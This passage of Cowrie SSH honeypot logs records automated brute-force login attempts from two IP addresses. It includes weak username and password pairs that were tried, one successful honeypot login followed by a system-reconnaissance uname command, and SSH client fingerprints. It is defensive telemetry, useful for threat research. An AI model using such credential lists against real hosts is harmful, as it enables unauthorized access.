":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:16.169849Z","src_ip":"45.156.87.147","session":"0e564fd78d4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:16.436286Z","src_ip":"45.156.87.147","session":"0e564fd78d4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:17.520923Z","src_ip":"45.156.87.147","session":"0e564fd78d4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42102,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bcaf0b812cb","protocol":"ssh","message":"New connection: 45.156.87.147:42102 (10.17.0.5:22) [session: 7bcaf0b812cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:22.541139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:22.545447Z","src_ip":"45.156.87.147","session":"7bcaf0b812cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:22.629881Z","src_ip":"45.156.87.147","session":"7bcaf0b812cb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:22.898130Z","src_ip":"45.156.87.147","session":"7bcaf0b812cb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:23.183292Z","src_ip":"45.156.87.147","session":"7bcaf0b812cb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:23.186094Z","src_ip":"45.156.87.147","session":"7bcaf0b812cb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:23.273469Z","src_ip":"45.156.87.147","session":"7bcaf0b812cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:23.276940Z","src_ip":"45.156.87.147","session":"7bcaf0b812cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":41578,"dst_ip":"10.17.0.5","dst_port":22,"session":"181c705f1560","protocol":"ssh","message":"New connection: 8.219.200.1:41578 (10.17.0.5:22) [session: 181c705f1560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:27.480940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:27.529056Z","src_ip":"8.219.200.1","session":"181c705f1560","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:27.721548Z","src_ip":"8.219.200.1","session":"181c705f1560","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42114,"dst_ip":"10.17.0.5","dst_port":22,"session":"270c9529ff31","protocol":"ssh","message":"New connection: 45.156.87.147:42114 (10.17.0.5:22) [session: 270c9529ff31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:28.748347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:28.752414Z","src_ip":"45.156.87.147","session":"270c9529ff31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:28.849762Z","src_ip":"45.156.87.147","session":"270c9529ff31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:29.114430Z","src_ip":"45.156.87.147","session":"270c9529ff31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:29.975713Z","src_ip":"8.219.200.1","session":"181c705f1560","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:30.222343Z","src_ip":"45.156.87.147","session":"270c9529ff31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:31.215564Z","src_ip":"8.219.200.1","session":"181c705f1560","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":40238,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5bf08d4a028","protocol":"ssh","message":"New connection: 8.219.200.1:40238 (10.17.0.5:22) [session: b5bf08d4a028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:34.406429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:34.411766Z","src_ip":"8.219.200.1","session":"b5bf08d4a028","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:34.649938Z","src_ip":"8.219.200.1","session":"b5bf08d4a028","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45220,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe50bdd217a3","protocol":"ssh","message":"New connection: 45.156.87.147:45220 (10.17.0.5:22) [session: fe50bdd217a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:35.031573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:35.035573Z","src_ip":"45.156.87.147","session":"fe50bdd217a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:35.124278Z","src_ip":"45.156.87.147","session":"fe50bdd217a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:35.366902Z","src_ip":"8.219.200.1","session":"b5bf08d4a028","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:35.376254Z","src_ip":"45.156.87.147","session":"fe50bdd217a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:36.462226Z","src_ip":"45.156.87.147","session":"fe50bdd217a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:36.607412Z","src_ip":"8.219.200.1","session":"b5bf08d4a028","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55514,"dst_ip":"10.17.0.5","dst_port":22,"session":"49ebd55d22ba","protocol":"ssh","message":"New connection: 45.156.87.147:55514 (10.17.0.5:22) [session: 49ebd55d22ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:41.158818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:41.162755Z","src_ip":"45.156.87.147","session":"49ebd55d22ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:41.257591Z","src_ip":"45.156.87.147","session":"49ebd55d22ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"12345678","message":"login attempt [openvpn/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:41.539914Z","src_ip":"45.156.87.147","session":"49ebd55d22ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:42.665649Z","src_ip":"45.156.87.147","session":"49ebd55d22ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55524,"dst_ip":"10.17.0.5","dst_port":22,"session":"81fe1f1d5dd2","protocol":"ssh","message":"New connection: 45.156.87.147:55524 (10.17.0.5:22) [session: 81fe1f1d5dd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:47.192880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:47.197852Z","src_ip":"45.156.87.147","session":"81fe1f1d5dd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:47.280329Z","src_ip":"45.156.87.147","session":"81fe1f1d5dd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:47.539445Z","src_ip":"45.156.87.147","session":"81fe1f1d5dd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:48.625968Z","src_ip":"45.156.87.147","session":"81fe1f1d5dd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49974,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e3c91737cf1","protocol":"ssh","message":"New connection: 45.156.87.147:49974 (10.17.0.5:22) [session: 9e3c91737cf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:53.443230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:53.446850Z","src_ip":"45.156.87.147","session":"9e3c91737cf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:53.528699Z","src_ip":"45.156.87.147","session":"9e3c91737cf1","protocol":"ssh"}
